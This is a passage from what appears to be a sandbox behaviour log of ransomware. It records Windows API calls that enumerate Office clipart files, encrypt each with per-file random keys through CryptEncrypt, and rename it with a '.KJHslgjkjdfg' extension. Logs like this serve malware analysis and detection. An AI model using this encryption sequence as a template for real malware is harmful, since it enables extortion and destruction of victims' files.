lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.819] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.819] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.819] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7fce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7fce, lpOverlapped=0x0) returned 1 [0224.819] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7fd0, dwBufLen=0x7fd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7fd0) returned 1 [0224.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.820] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7fd0, lpOverlapped=0x0) returned 1 [0224.820] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x80a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.820] SetEndOfFile (hFile=0x130) returned 1 [0224.823] GetProcessHeap () returned 0x2ef0000 [0224.823] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0224.823] GetProcessHeap () returned 0x2ef0000 [0224.823] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0224.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.kjhslgjkjdfg")) returned 1 [0224.824] CloseHandle (hObject=0x130) returned 1 [0224.824] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0224.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0224.825] GetProcessHeap () returned 0x2ef0000 [0224.825] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0224.825] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0224.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0224.826] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.051] GetProcessHeap () returned 0x2ef0000 [0226.051] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.051] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.051] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.052] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.052] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.052] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.052] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x121c, lpOverlapped=0x0) returned 1 [0226.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220, dwBufLen=0x1220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220) returned 1 [0226.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.274] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1220, lpOverlapped=0x0) returned 1 [0226.274] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.274] SetEndOfFile (hFile=0x130) returned 1 [0226.275] GetProcessHeap () returned 0x2ef0000 [0226.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.275] GetProcessHeap () returned 0x2ef0000 [0226.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.kjhslgjkjdfg")) returned 1 [0226.277] CloseHandle (hObject=0x130) returned 1 [0226.277] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0226.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.278] GetProcessHeap () returned 0x2ef0000 [0226.278] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.279] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.393] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.393] GetProcessHeap () returned 0x2ef0000 [0226.393] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.393] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.393] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.394] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.394] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.394] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.394] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.394] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.394] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.394] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4048, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4048, lpOverlapped=0x0) returned 1 [0226.405] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4050, dwBufLen=0x4050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4050) returned 1 [0226.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.405] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4050, lpOverlapped=0x0) returned 1 [0226.406] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.406] SetEndOfFile (hFile=0x130) returned 1 [0226.408] GetProcessHeap () returned 0x2ef0000 [0226.408] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.408] GetProcessHeap () returned 0x2ef0000 [0226.408] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.kjhslgjkjdfg")) returned 1 [0226.410] CloseHandle (hObject=0x130) returned 1 [0226.410] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0226.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.412] GetProcessHeap () returned 0x2ef0000 [0226.412] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.412] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.412] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0226.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.441] GetProcessHeap () returned 0x2ef0000 [0226.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.441] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.441] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.442] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.442] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.442] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.442] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x629, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x629, lpOverlapped=0x0) returned 1 [0226.442] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x630, dwBufLen=0x630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x630) returned 1 [0226.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.442] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x630, lpOverlapped=0x0) returned 1 [0226.442] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.442] SetEndOfFile (hFile=0x130) returned 1 [0226.444] GetProcessHeap () returned 0x2ef0000 [0226.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.445] GetProcessHeap () returned 0x2ef0000 [0226.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.kjhslgjkjdfg")) returned 1 [0226.446] CloseHandle (hObject=0x130) returned 1 [0226.446] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0226.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.447] GetProcessHeap () returned 0x2ef0000 [0226.447] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.447] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.447] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.484] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.484] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.484] GetProcessHeap () returned 0x2ef0000 [0226.484] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.484] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.484] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.484] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.484] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.484] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.484] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.485] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8628, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8628, lpOverlapped=0x0) returned 1 [0226.523] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8630, dwBufLen=0x8630 | out: pbData=0x4bf0020*, 